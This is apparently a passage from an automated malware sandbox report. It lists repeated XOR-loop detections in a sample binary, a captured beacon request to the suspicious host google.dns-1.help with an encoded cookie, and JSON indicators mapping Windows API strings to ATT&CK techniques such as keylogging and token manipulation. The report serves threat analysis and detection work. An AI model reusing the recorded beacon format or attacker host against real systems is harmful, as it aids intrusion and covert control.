"sample.bin" at offset 1528062; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1546435; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1550769; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1551135; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1560687; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2068584; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2075952; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2168330; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2359054; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2365941; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2383283; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2404744; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2460312; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2537275; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2537359; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2537531; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2537787; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2538043; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2538299; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2538555; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2538811; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2538924; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2539067; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2539151; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2539323; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2539579; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2539835; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2540091; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2540263; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2540347; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2540603; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2540859; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2541115; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2541263; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2541371; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2541807; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2567649; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2647978; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2655545; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2655593; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2661140; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2958812; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3029622; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3032227; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3132245; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3147972; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3205154; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3206917; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3230076; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3336988; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3437110; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3449093; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3548839; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4047848; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4056795; code bytes = 80302a:T4f8," HTTP/1.1 200 OK Date: Wed 10 Jun 2026 13:54:16 GMT Content-Type: application/octet-stream Content-Length: 0 with no response body "GET /ptj HTTP/1.1 Accept: */* Cookie: OXk0uuH0kmZOLvrUWP7g0HRyArUIRBBOy80/aNiLaGA2Uq/nabaERuKqSQiT14UkPcniAZjHzxscXgHA2srrO0rT7kq3O3Re/7wMudnZCnHGvn5b6WDpLa61Lu5HvyskItgzO0e2TA03hRMH7ebtOBLGe2uiWIKUmewTH1+ftNQ= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENUS) Host: google.dns-1.help Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Wed 10 Jun 2026 13:54:20 GMT Content-Type: application/octet-stream Content-Length: 0 with no response body2f:T4d9,"\"; File: \"1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-556","sources":[{"report_type":"sandbox","report_id":"6a296c0f43f5180faa05e64d"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKeyW\" in file \"1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin\"\n Found registry deletion API: \"RegDeleteValueW\" in file \"1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin\"\n Found registry deletion API: \"RegDeleteKeyTransactedW\" in file \"1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin\"\n Found registry deletion API: \"RegDeleteKeyExW\" in file \"1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6a296c0f43f5180faa05e64d"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6a296c0f43f5180faa05e64d"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"SetWindowsHookExW\" (Indicator: \"SetWindowsHook\"; File: \"1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin\")\n Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; File: \"1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin\")\n Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; File: \"1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"6a296c0f43f5180faa05e64d"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6a296c0f43f5180faa05e64d"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6a296c0f43f5180faa05e64d"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; File: \"1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; File: \"1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"InitializeSid\"; File: \"1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6a296c0f43f5180faa05e64d"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6a296c0f43f5180faa05e64d"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6a296c0f43f5180faa05e64d"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"Observed import api \"AllocateAndInitializeSid\" which can \"allocate and initialize a security identifier (SID) with up to eight subauthorities\" [Source: SystemSettings.exe]\n Observed import api \"CheckTokenMembership\" which can \"determine whether a specified security identifier (SID) is enabled in an access token\" [Source: SystemSettings.exe]\n Observed import api \"FreeSid\" which can \"free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function\" [Source: SystemSettings.exe]\n Observed import api \"InitializeSid\" which can \"initialize a security identifier (SID)\" [Source: SystemSettings.exe]","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"6a296c0f43f5180faa05e64d"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"